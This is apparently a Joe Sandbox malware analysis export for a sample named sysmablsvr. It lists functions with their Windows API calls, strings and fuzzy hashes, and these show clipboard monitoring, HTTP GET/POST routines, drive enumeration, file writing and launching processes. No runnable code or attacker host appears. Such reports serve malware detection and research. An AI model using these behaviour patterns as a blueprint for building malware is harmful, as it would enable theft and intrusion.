HttpOpenRequestA.WININET(00000000,POST,?,00000000,00000000,00000000,00000000,00000000), ref: 0040EB7A
HttpAddRequestHeadersA.WININET(00000000,?,000000FF,A0000000), ref: 0040EBA5
HttpSendRequestA.WININET(00000000,004120C8,000000FF,00009E34), ref: 0040EBCF
InternetReadFile.WININET(00000000,?,00000400,?), ref: 0040EC0E
memcpy.NTDLL(00000000,?,00000000), ref: 0040EC60
InternetCloseHandle.WININET(00000000), ref: 0040EC91
InternetCloseHandle.WININET(00000000), ref: 0040EC9E
InternetCloseHandle.WININET(00000000), ref: 0040ECAB

Strings

POST, xrefs: 0040EB6E
Mozilla/4.0 (compatible; UPnP/1.0; Windows 9x), xrefs: 0040EB06
<, xrefs: 0040EAB0

Memory Dump Source

Source File: 00000002.00000002.1932691050.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1931346301.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1933493445.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1933510145.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysmablsvr.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHttpRequest$Open$ConnectCrackFileHeadersReadSendmemcpymemset
String ID: <$Mozilla/4.0 (compatible; UPnP/1.0; Windows 9x)$POST
API String ID: 2761394606-2217117414
Opcode ID: 8a56ad483b9ace5c80fef8412a232ec04f9eaa1d9d9d993c01397f9ec31f5831
Instruction ID: c905a0693736bdbf34c7f8e0e7db626079e62ceb693e66bb4324beed71749724
Opcode Fuzzy Hash: 8a56ad483b9ace5c80fef8412a232ec04f9eaa1d9d9d993c01397f9ec31f5831
Instruction Fuzzy Hash: 33514CB5901228ABDB26CF54CC94BDDB7BCAB48705F0481E9B60DA6280C7B96FC4CF54

Function 00405910 Relevance: 25.7, APIs: 17, Instructions: 186
clipboardregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetWindowLongW.USER32(?,000000EB), ref: 0040591C
SetClipboardViewer.USER32(?), ref: 00405968
SetWindowLongW.USER32(?,000000EB,?), ref: 0040597B
IsClipboardFormatAvailable.USER32(0000000D), ref: 004059D0
OpenClipboard.USER32(00000000), ref: 00405A17
GetClipboardData.USER32(00000000), ref: 00405A29
RegisterRawInputDevices.USER32(?,00000001,0000000C), ref: 00405B30
ChangeClipboardChain.USER32(?,?), ref: 00405B3E
DefWindowProcA.USER32(?,?,?,?), ref: 00405B54

Memory Dump Source

Source File: 00000002.00000002.1932691050.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1931346301.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1933493445.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1933510145.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysmablsvr.jbxd

Yara matches

Similarity

API ID: Clipboard$Window$Long$AvailableChainChangeDataDevicesFormatInputOpenProcRegisterViewer
String ID:
API String ID: 3549449529-0
Opcode ID: ce536a5ebd17aa25bd8c63565adcaae9255b97c75774932fd7b0e60d3253294e
Instruction ID: 140c23de002baebc09e84a4b6840f2c6f62578de50faf7348504d1cb8e8204ab
Opcode Fuzzy Hash: ce536a5ebd17aa25bd8c63565adcaae9255b97c75774932fd7b0e60d3253294e
Instruction Fuzzy Hash: 80710C75A00608EFDF14DFA4D988BAFB7B4EB48300F10856AE506B7290D7799A40CF69

Function 00401600 Relevance: 24.6, APIs: 12, Strings: 2, Instructions: 96
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

EnterCriticalSection.KERNEL32(?,00000000,?,?,004021A5,00000000), ref: 0040161F
InterlockedDecrement.KERNEL32(?), ref: 0040164B
InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 00401663
InterlockedIncrement.KERNEL32(?), ref: 00401691
InterlockedDecrement.KERNEL32(?), ref: 004016A1
LeaveCriticalSection.KERNEL32(?,?,?,004021A5,00000000), ref: 004016B9
SetEvent.KERNEL32(?,?,?,004021A5,00000000), ref: 004016C3
PostQueuedCompletionStatus.KERNEL32(?,00000000,00000000,00000000,?,?,004021A5,00000000), ref: 004016E0
CloseHandle.KERNEL32(?,?,?,004021A5,00000000), ref: 00401709
CloseHandle.KERNEL32(?,?,?,004021A5,00000000), ref: 0040170F
WSACloseEvent.WS2_32(?), ref: 00401715
DeleteCriticalSection.KERNEL32(?,?,?,?,004021A5,00000000), ref: 0040172B

Strings

ilci, xrefs: 00401630
PCOI, xrefs: 0040160D

Memory Dump Source

Source File: 00000002.00000002.1932691050.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1931346301.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1933493445.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1933510145.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysmablsvr.jbxd

Yara matches

Similarity

API ID: Interlocked$CloseCriticalSection$DecrementEventHandle$CompletionDeleteEnterExchangeIncrementLeavePostQueuedStatus
String ID: PCOI$ilci
API String ID: 2403999931-3762367603
Opcode ID: af844558824ef2f0cd234010a78707101b1275eb600f87e7949f258bb1116b4d
Instruction ID: 5b8540bf1bb466d15bf787bf2847de779fcfe5b3cc035b7f1a74ac98c73710f1
Opcode Fuzzy Hash: af844558824ef2f0cd234010a78707101b1275eb600f87e7949f258bb1116b4d
Instruction Fuzzy Hash: D731A875900705ABC710EF70EC48B97B7B8BF08710F048A2AF559A3691C779F894CB98

Function 00405820 Relevance: 24.6, APIs: 12, Strings: 2, Instructions: 73
windowsleepregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.NTDLL ref: 00405838
GetModuleHandleW.KERNEL32(00000000), ref: 00405850
Sleep.KERNEL32(00000001), ref: 00405864
GetTickCount.KERNEL32 ref: 0040586A
GetTickCount.KERNEL32 ref: 00405873
wsprintfW.USER32 ref: 00405886
RegisterClassExW.USER32(00000030), ref: 00405893
CreateWindowExW.USER32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,000000FD,00000000,?,00000000), ref: 004058BC
GetMessageA.USER32(?,00000000,00000000,00000000), ref: 004058D7
TranslateMessage.USER32(?), ref: 004058E5
DispatchMessageA.USER32(?), ref: 004058EF
ExitThread.KERNEL32 ref: 00405901

Strings

0, xrefs: 00405840
%x%X, xrefs: 0040587A

Memory Dump Source

Source File: 00000002.00000002.1932691050.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1931346301.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1933493445.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1933510145.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysmablsvr.jbxd

Yara matches

Similarity

API ID: Message$CountTick$ClassCreateDispatchExitHandleModuleRegisterSleepThreadTranslateWindowmemsetwsprintf
String ID: %x%X$0
API String ID: 716646876-225668902
Opcode ID: 0ae848275c23e009fdd4c42bfca4f986060bd914b3fa7c2793bcea76a610d9bf
Instruction ID: 26b7d68298067a6ce37e9ddfddb25a36523320ae21639d5819629e884720d218
Opcode Fuzzy Hash: 0ae848275c23e009fdd4c42bfca4f986060bd914b3fa7c2793bcea76a610d9bf
Instruction Fuzzy Hash: 47212C71940308BBEB10ABA0DC49FEE7B78EB04711F108439F606BA1D0DBB995948F69

Function 0040E150 Relevance: 22.9, APIs: 11, Strings: 2, Instructions: 130
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.NTDLL ref: 0040E178
InternetCrackUrlA.WININET(0040DC29,00000000,10000000,0000003C), ref: 0040E1C8
InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 0040E1D8
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 0040E211
HttpOpenRequestA.WININET(00000000,GET,?,00000000,00000000,00000000,00000000,00000000), ref: 0040E247
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 0040E26F
InternetReadFile.WININET(00000000,?,00000400,?), ref: 0040E2B8
memcpy.NTDLL(00000000,?,00000000), ref: 0040E30A
InternetCloseHandle.WININET(00000000), ref: 0040E347
InternetCloseHandle.WININET(00000000), ref: 0040E354
InternetCloseHandle.WININET(00000000), ref: 0040E361

Strings

GET, xrefs: 0040E23B
<, xrefs: 0040E180

Memory Dump Source

Source File: 00000002.00000002.1932691050.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1931346301.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1933493445.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1933510145.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysmablsvr.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandle$HttpOpenRequest$ConnectCrackFileReadSendmemcpymemset
String ID: <$GET
API String ID: 1205665004-427699995
Opcode ID: 67af59116773a7797ed2b96ff4475bc1c7b496ee21b5589c00d2aeb3a4039631
Instruction ID: 0e0ad4ad31c216dc2eff2ccec99c89ab6a28dd79d12b38366d41975b782ec3ac
Opcode Fuzzy Hash: 67af59116773a7797ed2b96ff4475bc1c7b496ee21b5589c00d2aeb3a4039631
Instruction Fuzzy Hash: 6E511BB5901228ABDB36CB50CC55BE9B7BCAB44705F0444E9A60DAA2C0D7B96BC4CF54

Function 00406B50 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 106
sleepthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(000003E8), ref: 00406B5E
GetModuleFileNameW.KERNEL32(00000000,00417500,00000104), ref: 00406B70

Part of subcall function 0040ED00: CreateFileW.KERNEL32(00406B80,80000000,00000001,00000000,00000003,00000000,00000000,00406B80), ref: 0040ED20
Part of subcall function 0040ED00: GetFileSize.KERNEL32(000000FF,00000000), ref: 0040ED35
Part of subcall function 0040ED00: CloseHandle.KERNEL32(000000FF), ref: 0040ED42

ExitThread.KERNEL32 ref: 00406CDA

Part of subcall function 00406340: GetLogicalDrives.KERNEL32 ref: 00406346
Part of subcall function 00406340: RegOpenKeyExW.ADVAPI32(80000002,Software\Microsoft\Windows\CurrentVersion\Policies\Explorer,00000000,00020019,?), ref: 00406394
Part of subcall function 00406340: RegQueryValueExW.ADVAPI32(?,NoDrives,00000000,00000000,00000000,00000004), ref: 004063C1
Part of subcall function 00406340: RegCloseKey.ADVAPI32(?), ref: 004063DE

Sleep.KERNEL32(000007D0), ref: 00406CCD

Part of subcall function 00406260: lstrcpyW.KERNEL32(?,?,?,?,00000019), ref: 004062B3

GetVolumeInformationW.KERNEL32(?,?,00000105,00000000,00000000,?,00000000,00000000), ref: 00406C0F
GetDiskFreeSpaceExW.KERNEL32(?,00000000,?,00000000), ref: 00406C24
_aulldiv.NTDLL(?,?,40000000,00000000), ref: 00406C3F
wsprintfW.USER32 ref: 00406C52
wsprintfW.USER32 ref: 00406C72
wsprintfW.USER32 ref: 00406C95

Strings

(%dGB), xrefs: 00406C46
%s%s, xrefs: 00406C89
Unnamed volume, xrefs: 00406C66

Memory Dump Source

Source File: 00000002.00000002.1932691050.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1931346301.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1933493445.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1933510145.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysmablsvr.jbxd

Yara matches

Similarity

API ID: Filewsprintf$CloseSleep$CreateDiskDrivesExitFreeHandleInformationLogicalModuleNameOpenQuerySizeSpaceThreadValueVolume_aulldivlstrcpy
String ID: (%dGB)$%s%s$Unnamed volume
API String ID: 1650488544-2117135753
Opcode ID: 28cf1d750f559b85cf67cfd50a9e6b26b5fb1b314e0712f8dd8363f24fb25f9f
Instruction ID: 6971fabc066a78c2b5f4f93c2536245faf55c75ef939042e540841f18162a7fc
Opcode Fuzzy Hash: 28cf1d750f559b85cf67cfd50a9e6b26b5fb1b314e0712f8dd8363f24fb25f9f
Instruction Fuzzy Hash: 1D419BB1900214BBE714DB94DD55FEE7778BB48700F1081A5F20AB61D0DA785794CF6A

Function 0040ED50 Relevance: 16.6, APIs: 11, Instructions: 144
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNEL32(00000000,80000000,00000000,00000000,00000003,00000000,00000000), ref: 0040ED82
CreateFileMappingW.KERNEL32(000000FF,00000000,00000002,00000000,00000000,00000000), ref: 0040EDA3
MapViewOfFile.KERNEL32(00000000,00000004,00000000,00000000,00000000), ref: 0040EDC2
GetFileSize.KERNEL32(000000FF,00000000), ref: 0040EDDB
memcmp.NTDLL ref: 0040EE6D
UnmapViewOfFile.KERNEL32(00000000), ref: 0040EE90
CloseHandle.KERNEL32(00000000), ref: 0040EE9A
CloseHandle.KERNEL32(000000FF), ref: 0040EEA4
CreateFileW.KERNEL32(00000000,40000000,00000000,00000000,00000002,00000000,00000000), ref: 0040EEC3
WriteFile.KERNEL32(000000FF,00000000,00000000,00000000,00000000), ref: 0040EEE8
CloseHandle.KERNEL32(000000FF), ref: 0040EEF2

Memory Dump Source

Source File: 00000002.00000002.1932691050.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1931346301.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1933493445.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1933510145.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysmablsvr.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandle$View$MappingSizeUnmapWritememcmp
String ID:
API String ID: 3902698870-0
Opcode ID: 7ad1fe91360db5ea26f22c98dcdf1cd4795f1c803dd98443715d61a40f1b6e9d
Instruction ID: 4e6ec57638d856f2454fe90bbc3b1fbf5740e030230db4960ae301055fb20e21
Opcode Fuzzy Hash: 7ad1fe91360db5ea26f22c98dcdf1cd4795f1c803dd98443715d61a40f1b6e9d
Instruction Fuzzy Hash: 34515FB4E40208FBDB14DFA4CC49BDFB774AB48704F108569E615B72C0D7B9AA45CB98

Function 0040D860 Relevance: 16.6, APIs: 11, Instructions: 95threadsleepsynchronizationCOMMON

Download Yara Rule

APIs

GetCurrentThread.KERNEL32 ref: 0040D866
GetThreadPriority.KERNEL32(00000000,?,?,?,0040805F,?,000000FF), ref: 0040D86D
GetCurrentThread.KERNEL32 ref: 0040D878
SetThreadPriority.KERNEL32(00000000,?,?,?,0040805F,?,000000FF), ref: 0040D87F
InterlockedExchangeAdd.KERNEL32(0040805F,00000000), ref: 0040D8A2
EnterCriticalSection.KERNEL32(000000FB), ref: 0040D8D7
WaitForSingleObject.KERNEL32(000000FF,00000000), ref: 0040D922
LeaveCriticalSection.KERNEL32(000000FB), ref: 0040D93E
Sleep.KERNEL32(00000001), ref: 0040D96E
GetCurrentThread.KERNEL32 ref: 0040D97D
SetThreadPriority.KERNEL32(00000000,?,?,?,0040805F), ref: 0040D984

Memory Dump Source

Source File: 00000002.00000002.1932691050.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1931346301.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1933493445.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1933510145.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysmablsvr.jbxd

Yara matches

Similarity

API ID: Thread$CurrentPriority$CriticalSection$EnterExchangeInterlockedLeaveObjectSingleSleepWait
String ID:
API String ID: 3862671961-0
Opcode ID: a6592383c0f5364e70b0f454a5c96517dd5f3d581be9e9b029ccc77ff023b2d7
Instruction ID: d6bd3df3806ede59070add2f0d7a1f8bc277f5a62d9d5dceae4a540d753efef8
Opcode Fuzzy Hash: a6592383c0f5364e70b0f454a5c96517dd5f3d581be9e9b029ccc77ff023b2d7
Instruction Fuzzy Hash: 80413CB4E00209EBDB14DFE4D848BAEBB75EF44305F10C16AE911A7390D7789A85CF59

Function 0040EF10 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 60sleepprocessCOMMON

Download Yara Rule

APIs

memset.NTDLL ref: 0040EF1E
memset.NTDLL ref: 0040EF2E
CreateProcessW.KERNEL32(00000000,00407896,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?), ref: 0040EF67
Sleep.KERNEL32(000003E8), ref: 0040EF77
ShellExecuteW.SHELL32(00000000,open,00407896,00000000,00000000,00000000), ref: 0040EF92
Sleep.KERNEL32(000003E8), ref: 0040EFAC

Strings

open, xrefs: 0040EF8B
, xrefs: 0040EFA1
D, xrefs: 0040EF36

Memory Dump Source

Source File: 00000002.00000002.1932691050.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1931346301.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1933493445.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1933510145.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysmablsvr.jbxd

Yara matches

Similarity

API ID: Sleepmemset$CreateExecuteProcessShell
String ID: $D$open
API String ID: 3787208655-2182757814
Opcode ID: e2b186ad004b62e9ae343f364b445b77cfefa0e7e3aa45da8de068108c2434a4
Instruction ID: 2af3465f2ac7e3bdaf7f942b51208d096d5e25dcc258d3f6adac25a8060dddc3
Opcode Fuzzy Hash: e2b186ad004b62e9ae343f364b445b77cfefa0e7e3aa45da8de068108c2434a4
Instruction Fuzzy Hash: 6F114F71A84308BBEB10DB90DD46FDE7778AB14B00F204125FA09BE2C1D7F56A44C75A

Function 00401D60 Relevance: 13.6, APIs: 9, Instructions: 141COMMON

Download Yara Rule

APIs

InterlockedExchange.KERNEL32(?,00000000), ref: 00401D86
InterlockedDecrement.KERNEL32(?), ref: 00401DB0
InterlockedDecrement.KERNEL32(?), ref: 00401DC3
InterlockedExchangeAdd.KERNEL32(?,?), ref: 00401DD4
InterlockedDecrement.KERNEL32(?), ref: 00401E5B
InterlockedDecrement.KERNEL32(?), ref: 00401EF6
setsockopt.WS2_32 ref: 00401F2C
closesocket.WS2_32(?), ref: 00401F39

Part of subcall function 0040DA30: NtQuerySystemTime.NTDLL(0040B945), ref: 0040DA3A
Part of subcall function 0040DA30: RtlTimeToSecondsSince1980.NTDLL(0040B945,?), ref: 0040DA48

Memory Dump Source

Source File: 00000002.00000002.1932691050.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1931346301.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1933493445.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1933510145.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysmablsvr.jbxd

Yara matches

Similarity

API ID: Interlocked$Decrement$ExchangeTime$QuerySecondsSince1980Systemclosesocketsetsockopt
String ID:
API String ID: 671207744-0
Opcode ID: ae0f208c7e5ebe03a9eed9973f4c7fb273d4e64238f42e24874dbd14c375a4e9
Instruction ID: 8c1e587a25cfc232de2ab0883eb36e20e47ed0b1207a5ae34e006e610dd4584e
Opcode Fuzzy Hash: ae0f208c7e5ebe03a9eed9973f4c7fb273d4e64238f42e24874dbd14c375a4e9
Instruction Fuzzy Hash: F2519F75608B02ABC704DF39D488B9BFBE4BF88314F44872EF89983360D775A5458B96

Function 0040DE20 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 60sleepCOMMON

Download Yara Rule

APIs

recvfrom.WS2_32(000000FF,?,00000400,00000000,00000000,00000000), ref: 0040DE6E
Sleep.KERNEL32(000003E8), ref: 0040DE7E
StrCmpNIA.SHLWAPI(?,HTTP/1.1 200 OK,0000000F), ref: 0040DE9B
StrStrIA.SHLWAPI(?,LOCATION: ), ref: 0040DEB1
StrChrA.SHLWAPI(?,0000000D), ref: 0040DEDE

Strings

HTTP/1.1 200 OK, xrefs: 0040DE8F
LOCATION: , xrefs: 0040DEA5

Memory Dump Source

Source File: 00000002.00000002.1932691050.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1931346301.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1933493445.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1933510145.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysmablsvr.jbxd

Yara matches

Similarity

API ID: Sleeprecvfrom
String ID: HTTP/1.1 200 OK$LOCATION:
API String ID: 668330359-3973262388
Opcode ID: e60f8651836f9e105a51a8b773690953c72053fd89719a78497b2faf5898f70f
Instruction ID: cf4c7c589cb5a2b5626e628c2cbe2bc4730fcdb76fc9a6090f7a4287b0899cde
Opcode Fuzzy Hash: e60f8651836f9e105a51a8b773690953c72053fd89719a78497b2faf5898f70f
Instruction Fuzzy Hash: C92142B0944218ABDB20CB64DC49BE97774AB14308F1085E9E7197B2C0D7B99ACACF5C

Function 0040EFC0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 57networksleepCOMMON

Download Yara Rule

APIs

InternetOpenA.WININET(Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36,00000001,00000000,00000000,00000000), ref: 0040EFD7
InternetOpenUrlA.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 0040EFF6
HttpQueryInfoA.WININET(00000000,20000005,?,00000004,00000000), ref: 0040F01F
InternetCloseHandle.WININET(00000000), ref: 0040F048
InternetCloseHandle.WININET(00000000), ref: 0040F052
Sleep.KERNEL32(000003E8), ref: 0040F05D

Strings

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36, xrefs: 0040EFD2

Memory Dump Source

Source File: 00000002.00000002.1932691050.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1931346301.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1933493445.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1933510145.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysmablsvr.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleOpen$HttpInfoQuerySleep
String ID: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
API String ID: 2743515581-2272513262
Opcode ID: ecc82b78ed0739231bcfbdfeb973cd3a1bf52cd0352c481dc6c1b38e2f15aa13
Instruction ID: b5bc459e60af10a5ecd3bce89b92fe6334010ad2bd78cd38f87cd536e4e3c5ce
Opcode Fuzzy Hash: ecc82b78ed0739231bcfbdfeb973cd3a1bf52cd0352c481dc6c1b38e2f15aa13
Instruction Fuzzy Hash: 6821FC74A40208FBDB20DF94CC49FDEB775AB44705F1085A5FA11AB2C1C7B96A44CB59

Function 0040B850 Relevance: 12.1, APIs: 8, Instructions: 107fileCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(00417F40,?,?,?,?,?,?,00407FE3), ref: 0040B85B
CreateFileW.KERNEL32(00417D28,80000000,00000000,00000000,00000003,00000000,00000000), ref: 0040B8AD
CreateFileMappingW.KERNEL32(000000FF,00000000,00000002,00000000,00000000,00000000), ref: 0040B8CE
MapViewOfFile.KERNEL32(00000000,00000004,00000000,00000000,00000000), ref: 0040B8ED
GetFileSize.KERNEL32(000000FF,00000000), ref: 0040B902
UnmapViewOfFile.KERNEL32(00000000), ref: 0040B968
CloseHandle.KERNEL32(00000000), ref: 0040B972
CloseHandle.KERNEL32(000000FF), ref: 0040B97C

Part of subcall function 0040DA30: NtQuerySystemTime.NTDLL(0040B945), ref: 0040DA3A
Part of subcall function 0040DA30: RtlTimeToSecondsSince1980.NTDLL(0040B945,?), ref: 0040DA48

Memory Dump Source

Source File: 00000002.00000002.1932691050.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1931346301.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1933493445.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1933510145.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysmablsvr.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleTimeView$CriticalInitializeMappingQuerySecondsSectionSince1980SizeSystemUnmap
String ID:
API String ID: 439099756-0
Opcode ID: 929abe7a9095254e26be5e4d35e4c48d0475e135154847a51b6584f6b16baab1
Instruction ID: 20bf7a335d7b83d19979346108b4db2f5a5138f5ba8950715db26485b9768e75
Opcode Fuzzy Hash: 929abe7a9095254e26be5e4d35e4c48d0475e135154847a51b6584f6b16baab1
Instruction Fuzzy Hash: 84413AB4E40308ABDB10DFA4CC4AFAEB774EB04704F208569E611BA2D1C7B96641CB9D

Function 00405B60 Relevance: 12.1, APIs: 8, Instructions: 97fileCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(004174D8,?,?,?,?,?,00407FAD), ref: 00405B6B
CreateFileW.KERNEL32(00417708,80000000,00000000,00000000,00000003,00000000,00000000,?,?,?,?,?,00407FAD), ref: 00405B85
CreateFileMappingW.KERNEL32(000000FF,00000000,00000002,00000000,00000000,00000000), ref: 00405BA6
MapViewOfFile.KERNEL32(00000000,00000004,00000000,00000000,00000000), ref: 00405BC5
GetFileSize.KERNEL32(000000FF,00000000), ref: 00405BDE
UnmapViewOfFile.KERNEL32(00000000), ref: 00405C6B
CloseHandle.KERNEL32(00000000), ref: 00405C75
CloseHandle.KERNEL32(000000FF), ref: 00405C7F

Memory Dump Source

Source File: 00000002.00000002.1932691050.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1931346301.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1933493445.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1933510145.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysmablsvr.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleView$CriticalInitializeMappingSectionSizeUnmap
String ID:
API String ID: 3956458805-0
Opcode ID: 35b4c2d6947d5e03e03b6242c6a307a00e78fae8ded93bcc40d6e7bbcaf7c30e
Instruction ID: 3caee3762cbdbcce4f49fb41099d7db393733e6e5b5fc44a0020794708857aa0
Opcode Fuzzy Hash: 35b4c2d6947d5e03e03b6242c6a307a00e78fae8ded93bcc40d6e7bbcaf7c30e
Instruction Fuzzy Hash: 51313D74A40308EBEB10DBA4CC4ABAFB774EB44704F208569E601772D0D7B96A81CF99

Function 00406000 Relevance: 10.7, APIs: 7, Instructions: 176fileCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(004174D8,00000000,0040BE82,006A0266,?,0040BE9E,00000000,0040D17C,?), ref: 0040600F
memcpy.NTDLL(?,00000000,00000100), ref: 004060A1
CreateFileW.KERNEL32(00417708,40000000,00000000,00000000,00000002,00000002,00000000), ref: 004061C5
WriteFile.KERNEL32(000000FF,?,?,?,00000000), ref: 00406227
FlushFileBuffers.KERNEL32(000000FF), ref: 00406233
CloseHandle.KERNEL32(000000FF), ref: 0040623D
LeaveCriticalSection.KERNEL32(004174D8,?,?,?,?,?,?,0040BE9E,00000000,0040D17C,?), ref: 00406248

Memory Dump Source

Source File: 00000002.00000002.1932691050.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1931346301.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
